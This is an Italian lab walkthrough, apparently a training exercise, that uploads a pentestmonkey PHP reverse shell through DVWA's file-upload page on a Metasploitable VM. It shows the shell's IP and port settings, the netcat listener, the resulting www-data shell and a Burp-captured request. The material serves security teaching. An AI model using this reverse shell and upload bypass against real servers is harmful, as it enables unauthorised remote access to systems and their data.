

Exploit File Upload

Trovato il nostro script, inseriremo l'ip della nostra macchina Kali all'interno di "\$Ip =" e sceglieremo la porta desiderata.

```
File Edit Search View Document Help
45 // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
46
47 set_time_limit (0);
48 $VERSION = "1.0";
49 $ip = '192.168.50.100'; // CHANGE THIS
50 $port = 1234; // CHANGE THIS
51 $chunk_size = 1400;
52 $write_a = null;
53 $error_a = null;
54 $shell = 'uname -a; w; id; /bin/sh -i';
55 $daemon = 0;
56 $debug = 0;
57
```

Dopo aver caricato la nostra **Shell** sul DVWA ci verrà rilasciato il percorso di dove si troverà il nostro file.

Choose an image to upload:

No file chosen

../../../../hackable/uploads/shelltest.php succesfully uploaded!

Tramite il link rilasciato da DVWA avvieremo la nostra **Shell**

192.168.50.101/dvwa/hackable/uploads/shelltest.php

Mentre sul nostro terminale di Kali eseguiremo il comando **nc -lnvp 1234** , così da mettere in ascolto la nostra macchina.

Nc = Netcat

l = Modalità di ascolto per connessioni in entrata

n = Indirizzo Ip

v = Fornisce informazioni

p = numero della porta

```
(kali㉿kali)-[~]
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.50.100] from (UNKNOWN) [192.168.50.101] 48246
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
05:43:24 up 2:35, 2 users, load average: 0.49, 0.59, 0.60
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
msfadmin  tty1    -                03:10    4:06m  0.82s  0.02s  -bash
root      pts/0   :0.0             03:09    2:33   0.01s  0.01s  -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: no job control in this shell
sh-3.2$
```

Qui possiamo vedere come la nostra Shell è stata presa in ascolto e tramite BurpSuite è stata intercettata

```
1 GET /dvwa/hackable/uploads/shelltest.php HTTP/1.1
2 Host: 192.168.50.101
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Cookie: security=high; PHPSESSID=3fd705acb3bde19c4fccc72562bb9e5
9 Connection: close
10
11
```